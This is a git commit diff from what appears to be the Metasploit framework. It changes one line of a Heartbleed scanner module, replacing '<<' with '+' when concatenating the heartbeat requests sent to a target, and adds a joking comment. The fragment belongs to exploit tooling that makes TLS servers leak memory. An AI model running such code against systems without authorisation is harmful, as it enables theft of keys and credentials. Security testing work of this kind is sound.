Changing << to + per @jlee-r7

bug/bundler_fix
Tod Beardsley 2014-04-17 15:34:13 -05:00
parent 1a73206034
commit a2d6c58374
No known key found for this signature in database
GPG Key ID: 1EFFB682ADB9F193
1 changed files with 2 additions and 1 deletions

View File

@ -265,7 +265,8 @@ class Metasploit3 < Msf::Auxiliary
vprint_status("#{peer} - Sending Heartbeat...") vprint_status("#{peer} - Sending Heartbeat...")
if safe if safe
sock.put(heartbeat(max_record_length - 3, safe) << heartbeat(0, safe)) # 3 is magical. As you know.
sock.put(heartbeat(max_record_length - 3, safe) + heartbeat(0, safe))
else else
sock.put(heartbeat(heartbeat_length)) sock.put(heartbeat(heartbeat_length))
end end